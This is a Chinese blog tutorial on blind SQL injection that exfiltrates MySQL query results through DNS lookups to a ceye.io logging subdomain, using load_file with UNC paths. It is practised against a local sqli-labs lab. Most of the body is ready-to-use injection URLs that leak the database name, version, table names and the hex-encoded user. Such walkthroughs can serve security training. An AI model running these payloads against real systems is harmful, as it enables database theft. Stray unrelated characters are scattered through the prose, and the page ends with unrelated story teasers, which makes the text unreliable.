SQL注入奇淫技巧——利用dnslog獲取看不到的信息

對于sql盲注叼架,常用的方法應(yīng)該是二分法了,為此之前還寫過通過二分法猜解的半自動化python腳本耙箍,說實話聪廉,python甲苯比起手動真的已經(jīng)是好多了瞬痘,可是我內(nèi)心其實還是挺怵寫腳本的,而且這種腳本二分法猜解發(fā)送的請求頻繁麻煩不說板熊,還容易被waf檢測到框全,以至于ip被封。于是最近學(xué)習(xí)了一種sql盲注的奇淫技巧干签。

step1. 介紹CEYE平臺

網(wǎng)址:http://ceye.io/

  • 點擊進(jìn)去注冊一個帳號津辩,這個平臺應(yīng)該是知道創(chuàng)宇的,因為之前注冊過容劳,所以這我直接登錄即可喘沿,大家注冊完畢應(yīng)該和我一樣如下圖所示:
1.png
  • 注冊完之后會自動的在一級域名ceye.io下分配一個二級域名如xxxxx.ceye.io

一級域名是要錢的也是人家的,二級域名就不要錢了竭贩,你注冊一個帳號蚜印,它可以給你分配一個二級域名,這個大家應(yīng)該知道吧留量,給大家提點一下窄赋,希望有助于大家理解.

  • 在這兒哟冬,我只給大家簡單說一下,這個平臺注冊完之后你可以理解其為自己的一臺dns服務(wù)器吧忆绰,當(dāng)你訪問你的域名或者有HTTP請求時候浩峡,這個地方會記錄你訪問的日志,要是不明白看如下圖示:
2.png
  • 下面通過一個簡單操作错敢,再次有助大家理解

比如瀏覽器訪問http://zzqsmile.xxxxx.ceye.io/翰灾,如下圖所示:

3.png
  • 然后回頭看CEYE,記得reload刷新一下
4.png

此時我相信你已經(jīng)理解這個平臺的作用了吧伐债,其實就是一個dns解析服務(wù)器预侯,只不過只能訪問xxxxx.ceye.io及其子域名致开,才會產(chǎn)生dns日志而已峰锁。其他的暫不解釋,接著我們今天要將的SQL盲注奇淫技巧双戳。

step2. load_file(filename)函數(shù)

相信學(xué)習(xí)過通過sql注入讀寫服務(wù)器文件的對這個函數(shù)應(yīng)該不陌生虹蒋,在這我再簡單提一下這個函數(shù)的作用。

  • load_file(filename)讀取文件并返回文件內(nèi)容為字符串.使用此函數(shù)需要滿足以下條件: (1).所讀文件必須在服務(wù)器上飒货,且必須指定文件其絕對路徑 (2).連接當(dāng)前數(shù)據(jù)庫用戶必須有FILE權(quán)限 (3).文件內(nèi)容必須小于max_allowed_packet魄衅。

  • 如果該文件不存在或無法讀取,因為前面的條件之一不滿足塘辅,函數(shù)返回 NULL晃虫。

實際上load_file()函數(shù)還可以用來發(fā)送dns解析請求,接下來就實際嘗試一下扣墩。

5.png
  • 利用的payload是load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))哲银。
    database()就是要做sql注入查詢的地方。
    concat是字符串拼接
    后面的abc可以改也可以不改呻惕,無所謂的荆责,你樂意寫啥就寫啥

上面拼接的結(jié)果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其實相當(dāng)于訪問了帶有數(shù)據(jù)庫名稱的三級域名亚脆,被dnslog捕獲到了

step3. sqli-labs靶場練習(xí)
  • sqli-labs/第五關(guān)就是sql盲注做院,就拿這個來練習(xí)一下今天學(xué)的這個奇淫技巧吧。
    payload: ?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+

  • 獲取當(dāng)前數(shù)據(jù)庫

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
  • 獲取數(shù)據(jù)庫版本
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+
6.png

-獲取數(shù)據(jù)庫security中的表

http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
7.png

值得說的是濒持,這種方法不能同時查詢多個結(jié)果键耕,因此需要使用limit來控制每次查詢一條結(jié)果。

  • 當(dāng)然此時有人可能疑問到底有多少張表呢柑营?沒錯使用count()郁竟,我嘗試一下是可以查詢到有幾張表的。如下所示:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+
8.png
  • 同理查詢字段也類似而已由境,但是經(jīng)本人測試棚亩,查詢user()時候就沒查詢出來蓖议。這是為什么呢? 因為select user()查詢到的是root@localhost這樣在url里面就變成了http://root@localhost.xxxxx.ceye.io/,顯然這樣的url不是我們想要的讥蟆,因為里面有特殊字符@勒虾,這樣訪問的時候就會將root當(dāng)成用戶名,來訪問localhost.xxxxx.ceye.io/站點,這點不懂的需要去了解一下URL的組成瘸彤。正如下圖所示:
圖片.png

那么現(xiàn)在明白為什么查詢user()查詢不到了吧修然,而我現(xiàn)在找到的解決辦法是將查詢的結(jié)果通過base64編碼輸出出來,但是這個需要mysql版本大于5.6.1才能使用to_base64()編碼函數(shù)质况,而我現(xiàn)在的數(shù)據(jù)庫版本是5.5.53愕宋,無奈再次就不再演示了,順便在說下base64解碼函數(shù)from_base64()

  • 至于mysql版本小于5.6.1就沒辦法了嗎结榄?我現(xiàn)在能想到的就是先查詢字符串結(jié)果的長度中贝,然后通過一個一個拆分,將其ascii編碼臼朗,然后查詢到我們在解碼邻寿,最后拼接得到結(jié)果。雖然麻煩视哑,還好一般字符串不會太長绣否。以后有時間有更好的方法再分享吧。

  • 之前說使用dnslog查詢的有的內(nèi)容是不能帶入URL的挡毅,后來也沒想到辦法蒜撮,但是后來有想到可以將查詢到的內(nèi)容進(jìn)行hex()十六進(jìn)制編碼再帶進(jìn)URL里面訪問,這樣我們就能在dnslog里面看到我們查詢到的信息了跪呈,不過看到的是十六進(jìn)制編碼內(nèi)容段磨,我們在將其解碼即可。

  • 下面一個簡單的例子學(xué)習(xí)以下這個姿勢

圖片.png
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+
圖片.png

將查詢數(shù)據(jù)hex()解密一下看看庆械,nice薇溃,沒錯是root@locakhost

圖片.png

好了,今天的奇淫技巧就到這缭乘,大家沒事也可以嘗試嘗試沐序,總結(jié)總結(jié),不過友情提示:今天這個奇淫技巧對與window服務(wù)器是沒問題的堕绩,但是Linux服務(wù)器貌似不行策幼,至于是什么原因,好像是由于unc的緣故奴紧,大家可以去Google或者百度一下unc,筆者有時間也會再去深入研究其原因和其局限性特姐,到時候再更新補充吧。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末黍氮,一起剝皮案震驚了整個濱河市唐含,隨后出現(xiàn)的幾起案子浅浮,更是在濱河造成了極大的恐慌,老刑警劉巖捷枯,帶你破解...
    沈念sama閱讀 222,252評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件滚秩,死亡現(xiàn)場離奇詭異,居然都是意外死亡淮捆,警方通過查閱死者的電腦和手機(jī)郁油,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,886評論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來攀痊,“玉大人桐腌,你說我怎么就攤上這事」毒叮” “怎么了案站?”我有些...
    開封第一講書人閱讀 168,814評論 0 361
  • 文/不壞的土叔 我叫張陵,是天一觀的道長涩笤。 經(jīng)常有香客問我嚼吞,道長盒件,這世上最難降的妖魔是什么蹬碧? 我笑而不...
    開封第一講書人閱讀 59,869評論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮炒刁,結(jié)果婚禮上恩沽,老公的妹妹穿的比我還像新娘。我一直安慰自己翔始,他們只是感情好罗心,可當(dāng)我...
    茶點故事閱讀 68,888評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著城瞎,像睡著了一般渤闷。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上脖镀,一...
    開封第一講書人閱讀 52,475評論 1 312
  • 那天飒箭,我揣著相機(jī)與錄音,去河邊找鬼蜒灰。 笑死弦蹂,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的强窖。 我是一名探鬼主播凸椿,決...
    沈念sama閱讀 41,010評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼翅溺!你這毒婦竟也來了脑漫?” 一聲冷哼從身側(cè)響起髓抑,我...
    開封第一講書人閱讀 39,924評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎优幸,沒想到半個月后启昧,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,469評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡劈伴,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,552評論 3 342
  • 正文 我和宋清朗相戀三年密末,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片跛璧。...
    茶點故事閱讀 40,680評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡严里,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出追城,到底是詐尸還是另有隱情刹碾,我是刑警寧澤,帶...
    沈念sama閱讀 36,362評論 5 351
  • 正文 年R本政府宣布座柱,位于F島的核電站迷帜,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏色洞。R本人自食惡果不足惜戏锹,卻給世界環(huán)境...
    茶點故事閱讀 42,037評論 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望火诸。 院中可真熱鬧锦针,春花似錦、人聲如沸置蜀。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,519評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽盯荤。三九已至馋吗,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間秋秤,已是汗流浹背宏粤。 一陣腳步聲響...
    開封第一講書人閱讀 33,621評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留航缀,地道東北人商架。 一個月前我還...
    沈念sama閱讀 49,099評論 3 378
  • 正文 我出身青樓,卻偏偏與公主長得像芥玉,于是被迫代替她去往敵國和親蛇摸。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,691評論 2 361

推薦閱讀更多精彩內(nèi)容